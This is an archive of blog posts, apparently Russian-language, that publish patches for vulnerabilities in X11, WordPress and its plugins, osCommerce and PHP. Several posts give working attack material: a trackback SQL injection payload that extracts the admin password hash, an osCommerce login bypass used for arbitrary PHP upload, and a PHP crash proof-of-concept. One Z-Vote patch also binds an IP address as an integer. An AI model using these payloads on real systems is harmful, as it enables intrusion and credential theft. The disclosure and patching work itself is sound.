Ars Longa, Vita Brevis » уязвимость

Исправление проблемы обхода хранителя экрана в X11

Vladimir — Thu, 19 Jan 2012 12:18:51 +0000

Программистов всё больше, а профессионалов всё меньше

В X.Org Server 1.11 обнаружена уязвимость, позволяющая через манипуляции с клавиатурой обойти режим блокировки экрана и получить доступ к заблокированному рабочему окружению пользователя.

Подробности либо по ссылке выше, либо на OpenNet.

Исправление: в файле /usr/share/X11/xkb/compat/xfree86 закомментировать следующие строки:

interpret XF86_Ungrab {
action = Private(type=0x86, data="Ungrab");
};
interpret XF86_ClearGrab {
action = Private(type=0x86, data="ClsGrb");
};

После чего перезапустить X Server.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

SQL Injection Vulnerability в Z-Vote 1.1

Wandering Soul — Fri, 25 Feb 2011 19:32:49 +0000

Исправление уязвимостей в плагине WordPress Z-Vote 1.1

В плагине WordPress Z-Vote 1.1 была обнаружена уязвимость, позволяющая злоумышленнику выполнять произвольные запросы к базе данных (уязвимость типа «SQL-инъекция»).

Уязвимость существует из-за неправильного использования метода wpdb::prepare() и отсутствия проверки и очистки переменной $_GET['zvote'].

Уязвимость позволяет злоумышленнику изменять запросы к базе данных, выполнять произвольные запросы, читать или изменять конфиденциальную информацию.
Вторая уязвимость (незначительная по сравнению с SQL-инъекцией) — раскрытие пути к плагину (path disclosure) при прямом доступе к файлу плагина.

Патч, исправляющий уязвимости в Z-Vote 1.1:

diff -uwdBrN z-vote.orig/zvote.php z-vote/zvote.php
--- z-vote.orig/zvote.php 2011-02-25 21:05:44.000000000 +0200
+++ z-vote/zvote.php 2011-02-25 21:10:46.531798756 +0200
@@ -9,6 +9,8 @@
License: GPL
*/

+ defined('ABSPATH') or die();
+
// --- DEFINITIONS

//define where zvote is installed on the wordpres system. In 99.9% of the case the path below is correct.
@@ -271,7 +273,7 @@
function zVote_getEntry($postid) {
global $wpdb;

- $entries = $wpdb->get_results($wpdb->prepare("SELECT * FROM " . $wpdb->prefix . "zvotedata WHERE postid = " . $postid . ""));
+ $entries = $wpdb->get_results($wpdb->prepare("SELECT * FROM " . $wpdb->prefix . "zvotedata WHERE postid = %d", $postid));

return $entries;
}
@@ -282,7 +284,7 @@
global $wpdb;

$votes = 0;
- $votes = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM " . $wpdb->prefix . "zvotedata WHERE postid = " . $postid . ""));
+ $votes = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM " . $wpdb->prefix . "zvotedata WHERE postid = %d", $postid));

return $votes;
}
@@ -292,7 +294,7 @@

global $wpdb;

- $votes = $wpdb->get_var($wpdb->prepare("DELETE FROM " . $wpdb->prefix . "zvotedata WHERE postid = " . $postid . ""));
+ $votes = $wpdb->get_var($wpdb->prepare("DELETE FROM " . $wpdb->prefix . "zvotedata WHERE postid = %d", $postid));

return $votes;
}
@@ -353,7 +355,7 @@
global $wpdb;

//ipcheck for now, will expand to userid-check, based on the user setting in version 1.5
- $ipcheck = $wpdb->get_var($wpdb->prepare("SELECT id FROM " . $wpdb->prefix . "zvotedata WHERE postid = " . $postid . " AND userip = \"" . $_SERVER['REMOTE_ADDR'] . "\""));
+ $ipcheck = $wpdb->get_var($wpdb->prepare("SELECT id FROM " . $wpdb->prefix . "zvotedata WHERE postid = %d AND userip = %s", $postid, $_SERVER['REMOTE_ADDR']));

$wpdb->insert( $wpdb->prefix . 'zvotedata', array( 'postid' => $postid, 'userip' => $_SERVER['REMOTE_ADDR'], 'userid' => 0, 'time' => time() ), array( '%d','%s', '%d', '%d' ) );

@@ -365,7 +367,7 @@
global $wpdb, $wp_query, $redirect_meta_key;

//ipcheck for now, will expand to userid-check, based on the user setting in version 1.5
- $ipcheck = $wpdb->get_var($wpdb->prepare("SELECT id FROM " . $wpdb->prefix . "zvotedata WHERE postid = " . $postid . " AND userip = \"" . $_SERVER['REMOTE_ADDR'] . "\""));
+ $ipcheck = $wpdb->get_var($wpdb->prepare("SELECT id FROM " . $wpdb->prefix . "zvotedata WHERE postid = %d AND userip = %d", $postid, $_SERVER['REMOTE_ADDR']));

if (!$ipcheck) {
//ok to vote, register vote
@@ -382,7 +384,7 @@
}

//send user to post
- header('Location: ' .$injectionPoint);
+ wp_redirect($injectionPoint);
exit;
} else {
//user already registered, push to entry-page and inform the user.
@@ -394,7 +396,7 @@
$injectionPoint = $post . '?zvoters=2';
}

- header('Location: ' .$injectionPoint);
+ wp_redirect($injectionPoint);
exit;
}
exit;

Межсайтовый скриптинг в Register Plus

Vladimir — Sun, 13 Feb 2011 12:59:36 +0000

Патч, исправляющий уязвимости XSS и FPD

В плагине Register Plus 3.5.1 обнаружена уязвимость, позволяющая провести удалённому пользователю XSS-атаку.

Уязвимость связана с отсутствием экранирования специальных символов при выводе данных, полученных от пользователя, что позволяет злоумышленнику выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.

Судя по дате последнего изменения, плагин автором больше не поддерживается; тем не менее, пользователи не оставляют попытки использования плагина с новыми версиями WordPress.

Тем же исследователем была обнаружена уязвимость типа full path disclosure (ей подвержены очень многие плагины и сам WordPress в том числе).

Скачать патч для плагина Register Plus.

Межсайтовый скриптинг в плагине Accept Signups 0.1

Vladimir — Wed, 09 Feb 2011 04:10:34 +0000

Исправление OSVDB-70101 для плагина Accept Signups

В плагине Accept Signups 1.0 обнаружена уязвимость, позволяющая провести удалённому пользователю XSS-атаку.

Уязвимость связана с отсутствием обработки входных данных в параметре email, передаваемом файлу wp-content/plugins/accept-signups/accept-signups_submit.php, а также с отсутствием экранирования специальных символов при выводе данных в wp-content/plugins/accept-signups/accept-signups.php.

Уязвимость позволяет при помощи специально сформированного URL выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.

Патч для плагина Accept Signups 0.1:

diff -uwdBrN accept-signups.orig/accept-signups.php accept-signups/accept-signups.php
--- accept-signups.orig/accept-signups.php 2010-12-21 11:07:21.000000000 +0200
+++ accept-signups/accept-signups.php 2011-02-09 06:06:33.612991546 +0200
@@ -223,7 +223,7 @@
$r = $wpdb->get_results($sql, ARRAY_A);
$xml = '';
foreach($r as $k=>$v) {
- $xml .= '["email"] . '" ip="' . $v["ip"] . '" timestamp="' . $v["timestamp"] . '" />';
+ $xml .= '($v["email"]) . '" ip="' . $v["ip"] . '" timestamp="' . $v["timestamp"] . '" />';
}
$xml .= '';
file_put_contents(ABSPATH . 'wp-content/plugins/accept-signups/accept-signups.xml', $xml);
@@ -290,7 +290,7 @@
if (strpos($v1, '@')) {
$email = $v1;
}
- $html .= ' ' . $v1 . ' ';
+ $html .= ' ' . esc_html($v1) . ' ';
}
$html .= '($email) . '" id="acceptSignupsDeleteCB">';
$html .= '';
diff -uwdBrN accept-signups.orig/accept-signups_submit.php accept-signups/accept-signups_submit.php
--- accept-signups.orig/accept-signups_submit.php 2010-12-21 11:07:21.000000000 +0200
+++ accept-signups/accept-signups_submit.php 2011-02-09 06:03:04.017742924 +0200
@@ -1,6 +1,5 @@
-require_once('../../../wp-config.php');
-require_once('../../../wp-includes/wp-db.php');
+require_once('../../../wp-load.php');

if (true) {
if (isset($_GET['email'])) {
@@ -9,6 +8,16 @@
if (hasEmail($_GET['email'])) {
echo get_option('accept-signups-email-already-exists');
} else {
+ $email = stripslashes($_GET['email']);
+ if (function_exists('filter_var')) {
+ if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
+ die('-1');
+ }
+ }
+ elseif (!preg_match('/^([a-z0-9_\-\.])+\@([a-z0-9_\-\.])+\.([a-z]{2,4})$/i', $email)) {
+ die('-1');
+ }
+
saveEmail($_GET['email']);
echo get_option('accept-signups-email-saved');
}

Помимо OSVDB-70101, данный патч исправляет еще пару мелких недочётов.

Межсайтовый скриптинг в WordPress BezahlCode-Generator 1.0

Vladimir — Wed, 09 Feb 2011 03:13:15 +0000

Патч для BezahlCode-Generator, исправляющий уязвимость

В плагине BezahlCode-Generator 1.0 обнаружена уязвимость, позволяющая провести удалённому пользователю XSS-атаку. Уязвимость связана с отсутствием обработки входных данных в параметрах gen_name, gen_account, gen_BNC, gen_amount, gen_reason в bezahlcode-generator/der_generator.php.

Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.

Патч для BezahlCode-Generator 1.0:

--- der_generator.orig.php 2011-02-09 04:52:27.000000000 +0200
+++ der_generator.php 2011-02-09 05:00:20.457537559 +0200
@@ -16,15 +16,15 @@
($_REQUEST['gen_type']=="singlepaymentspende") echo 'checked="checked"'?>/> Spendenzahlung

($_REQUEST['gen_type']=="singledirectdebit") echo 'checked="checked"'?>/> Lastschrift

-Name:
(this, 'dtaus')" name="gen_name" maxlength="27" value="($_REQUEST['gen_name'])?$_REQUEST['gen_name']:""?>">
+Name:
(this, 'dtaus')" name="gen_name" maxlength="27" value="($_REQUEST['gen_name'])?esc_attr($_REQUEST['gen_name']):""?>">

-Kontonummer:
1234" id="gen_account" onblur="checkInput(this, 'ganzzahl')" name="gen_account" value="($_REQUEST['gen_account'])?$_REQUEST['gen_account']:""?>" >
+Kontonummer:
1234" id="gen_account" onblur="checkInput(this, 'ganzzahl')" name="gen_account" value="($_REQUEST['gen_account'])?esc_attr($_REQUEST['gen_account']):""?>" >

-BLZ:
1234" id="gen_BNC" onblur="checkInput(this, 'ganzzahl')" name="gen_BNC" value="($_REQUEST['gen_BNC'])?$_REQUEST['gen_BNC']:""?>" >
+BLZ:
1234" id="gen_BNC" onblur="checkInput(this, 'ganzzahl')" name="gen_BNC" value="($_REQUEST['gen_BNC'])?esc_attr($_REQUEST['gen_BNC']):""?>" >

-Betrag in Euro (z.B. 1234,50)
1234,50" onblur="checkInput(this, 'dezimalzahl')" id="gen_amount" name="gen_amount" value="($_REQUEST['gen_amount'])?$_REQUEST['gen_amount']:""?>" >
+Betrag in Euro (z.B. 1234,50)
1234,50" onblur="checkInput(this, 'dezimalzahl')" id="gen_amount" name="gen_amount" value="($_REQUEST['gen_amount'])?esc_attr($_REQUEST['gen_amount']):""?>" >

-Verwendungszweck:
(this, 'dtaus')" name="gen_reason" maxlength="54" value="($_REQUEST['gen_reason'])?$_REQUEST['gen_reason']:""?>" >
+Verwendungszweck:
(this, 'dtaus')" name="gen_reason" maxlength="54" value="($_REQUEST['gen_reason'])?esc_attr($_REQUEST['gen_reason']):""?>" >

ICS Security Fixes: исправление уязвимостей в прошлых версиях WordPress

Vladimir — Thu, 02 Dec 2010 14:10:06 +0000

Попытка сделать старые версии WordPress безопаснее.

Многие блоггеры не торопятся с обновлением WordPress, особенно когда дело касается новых релизов WordPress: по традиции, каждый новый релиз потребляет больше памяти, чем предыдущий, создаёт бóльшую нагрузку на базу и содержит новые, мало кому нужные функции А еще говорят, что нельзя обновляться до версии x.y.0, нужно обязательно ждать x.y.1

Что же, доля истины во всём этом есть, но есть и одно большое НО: все эти обновления, включая новые релизы, обычно содержат важные исправления безопасности, причём иногда разработчики об этом могут не догадываться.

К сожалению, разработчики не делают бэкпорты исправлений в старые ветки, и те, кто по тем или иным соображениям остаётся на старом WordPress, остаются уязвимыми.

Вчера судьба меня свела с человеком с ником M4g, обладающим отменными знаниями уязвимостей WordPress самых различных версий. Он любезно предоставил ссылки на свои статьи, касающиеся уязвимостей WordPress. Своё профессиональное знакомство с WordPress я начинал с версии 2.5, поэтому в статьях обнаружил достаточно много откровений для себя. Но дело не в этом. От прочитанного в голову пришла мысль написать плагин, максимально совместимый с предыдущими версиями WordPress, который бы пытался исправить известные уязвимости, не заставляя пользователя при этом обновлять WordPress.

Естественно, что таким образом можно исправить далеко не всё (например, уязвимость в Snoopy на FreeBSD так не исправить), но отфильтровать параметры запросов или запросы к базе данных вполне реально (хотя тоже не всегда).

Так родился плагин ICS Security Fixes.

Версия 0.1 содержит следующие исправления:

отключение whitelisting’а для трэкбэков/пингбэков (то, что было сделано в 3.0.2 и тянется с 1.x);
попытка борьбы с SQL truncation attack при регистрации пользователя;
исправления, призванные не допустить SQL injection attack при обработке трэкбэков;
исправление CVE-2008-4769;
Old slug redirect bug fix;
Попытка исправления ошибки cURL, связанной с перенаправлением на URI с протоколами file:// и scp:// (трудно сказать про работоспособность, ибо такой древний cURL найти трудно);
Исправление SQL injection в wp_insert_attachment();
Тупой способ для борьбы с подменой фидов;
Защита от атаки на генератор псевдослучайных чисел (надеюсь, что получилось — сгенерировать 80-гигабайтные радужные таблицы нет возможности);
Попытка защиты от 2.7.x/2.8.x admin remote code execution exploit;
Исправление Wordpress 2.5 Cookie Integrity Protection Vulnerability;
Исправление ошибки со сбросом пароля в 2.5.1.

Версия 0.2:

Исправление ошибок, связанных с активацией плагина;
Установка версии по умолчанию для скриптов и таблиц стилей в 0.0.

Версия 0.3:

Исправление ошибок в предыдущих версиях (спасибо Сергею Бирюкову за патч);
Сокрытие версий используемых таблиц стилей и скриптов (удаление параметра ver из строки запроса; кстати, Google рекомендует не использовать строку запроса в URL статических ресурсов);
Частично закрыта уязвимость SA23621 — пользователь получает одно и то же сообщение об ошибке и при неверном имени пользователя, и при неверном пароле. Тем не менее, проверка существования пользователя возможна путём использования функции напоминания пароля;
По многочисленным просьбам добавлено сокрытие версии плагина All in One SEO Pack.

Версия 0.4:

Закрытие уязвимостей, исправленных в WordPress 3.0.5 (r17393, r17387, r17400, r17406).

Хочу выразить большую благодарность Сергею Бирюкову за тестирование и патч, исправляющий ошибки. Спасибо!

Дальнейшее направление работы:

Бэкпортирование патчей уязвимостей для серии 3.x;
Бэкпортирование патчей и закрытие незакрытых уязвимостей для серии 2.x.

У кого есть ссылки на рабочие эксплойты для WordPress любых версий и кто может ими поделиться, а также те, кто готов помочь с тестированием — you are welcome!

Скачать последнюю версию ICS Security Fixes

Внимание: перед обновлением плагин должен быть деактивирован, после обновления — активирован. Это связано с некоторыми неприятными особенностями WordPress 3.1, а также тем, что для некоторых версий WordPress подменяются функции проверки cookies.

UPDATE Feb 15, 2010:
Страница плагина теперь живёт здесь: http://blog.sjinks.pro/wordpress-plugins/ics-security-fixes/
Страница плагина на wordpress.org: http://wordpress.org/extend/plugins/ics-security-fixes/

WordPress: Information Disclosure via SQL Injection Attack

Vladimir — Tue, 30 Nov 2010 17:13:37 +0000

Description: SQL injection vulnerability in do_trackbacks() function of WordPress allows remote attackers to execute arbitrary SELECT SQL query.

Access Vector: Network
Attack Complexity: Medium
Authentication: Single Instance
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None

UPDATE Dec 1, 2010: This vulnerability was first discovered by M4g and is described in this article.

The do_trackbacks() function in wp-includes/comment.php does not properly escape the input that comes from the user, allowing a remote user with publish_posts and edit_published_posts capabilities to execute an arbitrary SELECT SQL query, which can lead to disclosure of any information stored in the WordPress database.

function do_trackbacks($post_id) {
global $wpdb;
$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) );
$to_ping = get_to_ping($post_id);
$pinged = get_pung($post_id);
if ( empty($to_ping) ) {
$wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) );
return;
}
if ( empty($post->post_excerpt) )
$excerpt = apply_filters('the_content', $post->post_content);
else
$excerpt = apply_filters('the_excerpt', $post->post_excerpt);
$excerpt = str_replace(']]>', ']]>', $excerpt);
$excerpt = wp_html_excerpt($excerpt, 252) . '...';
$post_title = apply_filters('the_title', $post->post_title);
$post_title = strip_tags($post_title);
if ( $to_ping ) {
foreach ( (array) $to_ping as $tb_ping ) {
$tb_ping = trim($tb_ping);
if ( !in_array($tb_ping, $pinged) ) {
trackback($tb_ping, $post_title, $excerpt, $post_id);
$pinged[] = $tb_ping;
} else {
$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
}
}
}
}

The $tb_ping variable is passed to the query in line 1657 unescaped.

Exploitation. The logged in user must have publish_posts and edit_published_posts capabilities (this corresponds to the Author role). Below is an example of how this vulnerability can be exploited (images below are clickable):

First, the user creates a new post (title/content does not matter); text to put into the «Send Trackbacks» field is

AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

and publishes it. He needs to wait a bit — for wp-cron.php to process the trackback. The get_to_ping() function says that this trackback is to be processed:

AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

Then the user goes back and edits the post:

Now the user duplicates the text in the «Send Trackbacks» field and updates the post

AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,' AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

The get_to_ping() function says that these trackbacks are to be processed:

AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

Query logging shows that WordPress executes this query (reformatted for the sake of readbility):

UPDATE wp_posts
SET to_ping = TRIM(REPLACE(to_ping, 'AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'', ''))
WHERE ID = 11

After that when the user refreshes the page (he may need to wait a bit for wp-cron.php to complete), he will see something like this:

Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed.

The screenshots above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch.

Patch: below is the patch against WordPress 3.1 rev. 16609 that fixes the vulnerability:

Index: wp-includes/comment.php
===================================================================
--- wp-includes/comment.php (revision 16609)
+++ wp-includes/comment.php (working copy)
@@ -1723,7 +1723,7 @@
trackback($tb_ping, $post_title, $excerpt, $post_id);
$pinged[] = $tb_ping;
} else {
- $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
+ $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $tb_ping, $post_id) );
}
}
}

Серьёзная уязвимость в osCommerce 2.2 RC 2a

Vladimir — Fri, 18 Dec 2009 15:29:33 +0000

Возможность выполнения произвольного PHP-кода с правами web-сервера

Сегодня один из моих клиентов пожаловался, что его online-магазин (на базе osCommerce) в очередной раз взломали и записали закодированный файл q_boot.php в каталог images. Хотя с osCommerce я сталкивался только один раз в жизни (подчищал вирус наподобие этого), меня этот случай очень заинтересовал: уязвимость, которая позволяет злоумышленнику залить на сервер произвольный файл — это очень серьёзно.

Естественно, что от техподдержки клиента я не смог получить лог доступа к сайту (взломали неделю назад), чтобы посмотреть, с каких IP-адресов обращались к этому images/q_boot.php и проследить историю запросов. Это было бы слишком легко. Пришлось копаться в коде панели администрирования.

В частности, один из скриптов, который позволяет загружать файлы — это admin/banner_manager.php. Я начал с него, стал анализировать все включаемые файлы. Дыра нашлась за три минуты.

В admin/includes/application_top.php есть такой вот уязвимый код:

// redirect to login page if administrator is not yet logged in
if (!tep_session_is_registered('admin')) {
$redirect = false;
$current_page = basename($PHP_SELF);
if ($current_page != FILENAME_LOGIN) {
if (!tep_session_is_registered('redirect_origin')) {
tep_session_register('redirect_origin');
$redirect_origin = array('page' => $current_page,
'get' => $HTTP_GET_VARS);
}
$redirect = true;
}
if ($redirect == true) {
tep_redirect(tep_href_link(FILENAME_LOGIN));
}
unset($redirect);
}

Уязвимость не очевидна, если не знать разницу между $_SERVER['SCRIPT_NAME'], $_SERVER['SCRIPT_FILENAME'] и $_SERVER['PHP_SELF'].

В частности, PHP_SELF содержит

The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar would be /test.php/foo.bar.

Константа FILENAME_LOGIN определена как login.php.

Таким образом, обращение к /admin/banner_manager.php/login.php приведёт к тому, что в $_SERVER['PHP_SELF'] будет /admin/banner_manager.php/login.php, исполняться будет /admin/banner_manager.php, а basename($_SERVER['PHP_SELF']) будет — правильно, login.php. Условие в строке 138 не выполнится, и злоумышленник благополучно минует авторизацию.

Теперь эксплуатация уязвимости в картинках (изображения можно и нужно кликать):

Первый скриншот демонстрирует возможность обхода авторизации и получения доступа к скриптам панели администрирования.

Второй скриншот демонстрирует изменение URL’а формы (при помощи FireBug) и загрузку PHP-файла.

На третьем скриншоте мы видим, что файл был успешно загружен (хотя мы и были перенаправлены на форму авторизации). А ведь все пользовательские данные нужно тщательно проверять!

На четвёртом скриншоте мы видим, что загруженный PHP-файл можно успешно выполнить Что и требовалось показать

Теперь о том, как это всё исправить.

А исправляется всё очень просто: исправляем

$current_page = basename($PHP_SELF);

на

$current_page = basename($_SERVER['SCRIPT_NAME']);

А еще лучше — отказываемся от osCommerce в пользу чего-нибудь нормального, так как эта уязвимость — не единственная.

К слову, текущая Alpha osCommerce 3 тоже уязвима, только по-другому… Делайте выводы.

Простой DoS для PHP

Vladimir — Mon, 19 Oct 2009 13:15:55 +0000

Очередная уязвимость в Zend Engine

Копался сегодня во внутренностях PHP, и обнаружил такую вещь: функция zend_hash_sort() (она вызывается из функций типа usort() и прочих) сортирует не сам массив (в терминах Zend Engine), а массив (в терминах языка C) указателей на элементы массива (в терминах Zend Engine), а потом по отсортированному C-массиву пересоздаёт PHP-массив.

ZEND_API int zend_hash_sort(HashTable *ht, sort_func_t sort_func,
compare_func_t compar, int renumber TSRMLS_DC)
{
Bucket **arTmp;
Bucket *p;
int i, j;
IS_CONSISTENT(ht);
if (!(ht->nNumOfElements>1) && !(renumber && ht->nNumOfElements>0)) { /* Doesn't require sorting */
return SUCCESS;
}
arTmp = (Bucket **) pemalloc(ht->nNumOfElements * sizeof(Bucket *), ht->persistent);
if (!arTmp) {
return FAILURE;
}
p = ht->pListHead;
i = 0;
while (p) {
arTmp[i] = p;
p = p->pListNext;
i++;
}
(*sort_func)((void *) arTmp, i, sizeof(Bucket *), compar TSRMLS_CC);
HANDLE_BLOCK_INTERRUPTIONS();
ht->pListHead = arTmp[0];
ht->pListTail = NULL;
ht->pInternalPointer = ht->pListHead;
arTmp[0]->pListLast = NULL;
if (i > 1) {
arTmp[0]->pListNext = arTmp[1];
for (j = 1; j < i-1; j++) {
arTmp[j]->pListLast = arTmp[j-1];
arTmp[j]->pListNext = arTmp[j+1];
}
arTmp[j]->pListLast = arTmp[j-1];
arTmp[j]->pListNext = NULL;
} else {
arTmp[0]->pListNext = NULL;
}
ht->pListTail = arTmp[i-1];
pefree(arTmp, ht->persistent);
HANDLE_UNBLOCK_INTERRUPTIONS();
if (renumber) {
p = ht->pListHead;
i=0;
while (p != NULL) {
p->nKeyLength = 0;
p->h = i++;
p = p->pListNext;
}
ht->nNextFreeElement = i;
zend_hash_rehash(ht);
}
return SUCCESS;
}

Строка 13 (что само по себе символично) создаёт временный массив, достаточный для размещения указателей на все элементы массива, строки 17–23 заполняют этот временный массив указателями на элементы PHP-массива, строка 25 вызывает функцию сортировки, в строках 28–44 PHP-массив «пересоздается».

Что это даёт: если у нас имеется массив строк (массивов, объектов), а наша функция сортировки — о, ужас! — изменяет этот массив (например, удаляет из него элемент), а после сортировки производится обращение к этому элементу, то PHP вылетит по ошибке сегментации. Это является следствием того, что PHP-массив изменяется в процессе сортировки (из него удаляется элемент, а связанная с ним память освобождается), а C-массив содержит указатели на освобождённую память. При обращении к этой освобождённой памяти происходит ошибка сегментации.

Proof of Concept:

function compare($a, $b)
{
global $arr;
if (isset($arr[2])) {
unset($arr[2]);
}

return 0;
}

$arr = array('A', 'B', 'C', 'D', 'E', 'F');
usort($arr, "compare");
print_r($arr);
?>

В зависимости от конфигурации (всякие там Suhosin) может потребоваться увеличить длину строк в массиве, либо агрессивнее обратиться к массиву (например, вызвать sort() сразу после usort()).

Вышеприведённый скрипт успешно устроил 502 Bad Gateway на сервере с Suhosin (да так, что последний даже не пожаловался).

PHP в Ubuntu Karmic (5.2.10.dfsg.1-2ubuntu5) оказался уязвимым, а вот сборка от dotdeb (5.2.11-0.dotdeb.1) — нет (возможно, что ошибка исправлена в 5.2.11, хотя в changelog ничего не видно).

Что даёт уязвимость:

если администратор криворукий, то можно забить место на диске core dump’ами (5-6 дампов — почти гигабайт, YMMV);
так как данная уязвимость демонстрирует повреждение памяти, при соответствующем исследовании можно переписать произвольные участки памяти PHP (например, отключить безопасный режим, включить register_globals, отключить magic_quotes_gpc и т.п.).

WordPress 2.8.4

Vladimir — Thu, 13 Aug 2009 15:09:14 +0000

Исправление уязвимости при сбросе пароля

Вчера вышел WordPress 2.8.4, исправляющий уязвимость при сбросе пароля пользователя. С помощью специально сформированного URL можно было сбросить пароль первому пользователю, который никогда не сбрасывал пароль (обычно это администратор). Удалённый доступ это не даёт, но, по словам разработчиков, всё же неприятно.

Те, кто не хотят качать двухмегабайтный архив ради исправления одной единственной ошибки, могут применить данный патч:

diff -uwdBrN 2.8.3/readme.html 2.8.4/readme.html
--- 2.8.3/readme.html 2009-08-03 02:18:57.000000000 +0300
+++ 2.8.4/readme.html 2009-08-12 03:41:44.000000000 +0300
@@ -8,7 +8,7 @@

-
Version 2.8.3
+
Version 2.8.4

Semantic Personal Publishing Platform

@@ -29,7 +29,7 @@

Upgrading

Before you upgrade anything, make sure you have backup copies of any files you may have modified such as index.php.

Upgrading from any previous WordPress to 2.8.3:

Upgrading from any previous WordPress to 2.8.4:

Delete your old WP files, saving ones you've modified.

Upload the new files.

--- 2.8.3/wp-includes/version.php 2009-08-03 02:18:57.000000000 +0300

+++ 2.8.4/wp-includes/version.php 2009-08-12 03:41:44.000000000 +0300

@@ -8,7 +8,7 @@

-$wp_version = '2.8.3';

+$wp_version = '2.8.4';

--- 2.8.3/wp-login.php 2009-06-04 01:15:22.000000000 +0300

+++ 2.8.4/wp-login.php 2009-08-11 09:03:45.000000000 +0300

@@ -161,7 +161,7 @@

(

)

(

)

(

)

- $message .= site_url("wp-login.php?action=rp&key=$key", 'login') . "\r\n";

+ $message .= site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') . "\r\n";

(

[

]

)

(

)

@@ -182,15 +182,18 @@

-function reset_password($key) {

+function reset_password($key, $login) {

(

[

]

)

- if ( empty( $key ) )

+ if ( empty( $key ) || !is_string( $key ) )

(

)

- $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));

+ if ( empty($login) || !is_string($login) )

+ return new WP_Error('invalid_key', __('Invalid key'));

+ $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s AND user_login = %s", $key, $login));

(

)

(

)

@@ -370,7 +373,7 @@

- $errors = reset_password($_GET['key']);

+ $errors = reset_password($_GET['key'], $_GET['login']);

(

)

{

(

)

Те, у кого стоит WordPress 2.7, могут воспользоваться данным патчем:

diff -uwdBrN 2.8.3/wp-login.php 2.8.4/wp-login.php
--- 2.8.3/wp-login.php 2009-06-04 01:15:22.000000000 +0300
+++ 2.8.4/wp-login.php 2009-08-11 09:03:45.000000000 +0300
@@ -161,7 +161,7 @@
$message .= get_option('siteurl') . "\r\n\r\n";
$message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
$message .= __('To reset your password visit the following address, otherwise just ignore this email and nothing will happen.') . "\r\n\r\n";
- $message .= site_url("wp-login.php?action=rp&key=$key", 'login') . "\r\n";
+ $message .= site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') . "\r\n";

$title = sprintf(__('[%s] Password Reset'), get_option('blogname'));

@@ -182,15 +182,18 @@
* @param string $key Hash to validate sending user's password
* @return bool|WP_Error
*/
-function reset_password($key) {
+function reset_password($key, $login) {
global $wpdb;

$key = preg_replace('/[^a-z0-9]/i', '', $key);

- if ( empty( $key ) )
+ if ( empty( $key ) || !is_string( $key ) )
return new WP_Error('invalid_key', __('Invalid key'));

- $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
+ if ( empty($login) || !is_string($login) )
+ return new WP_Error('invalid_key', __('Invalid key'));
+
+ $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s AND user_login = %s", $key, $login));
if ( empty( $user ) )
return new WP_Error('invalid_key', __('Invalid key'));

@@ -370,7 +373,7 @@

case 'resetpass' :
case 'rp' :
- $errors = reset_password($_GET['key']);
+ $errors = reset_password($_GET['key'], $_GET['login']);

if ( ! is_wp_error($errors) ) {
wp_redirect('wp-login.php?checkemail=newpass');

Патч нормально ложится на стандартный WordPress 2.7. Исправляется только уязвимость, связанная со сбросом пароля.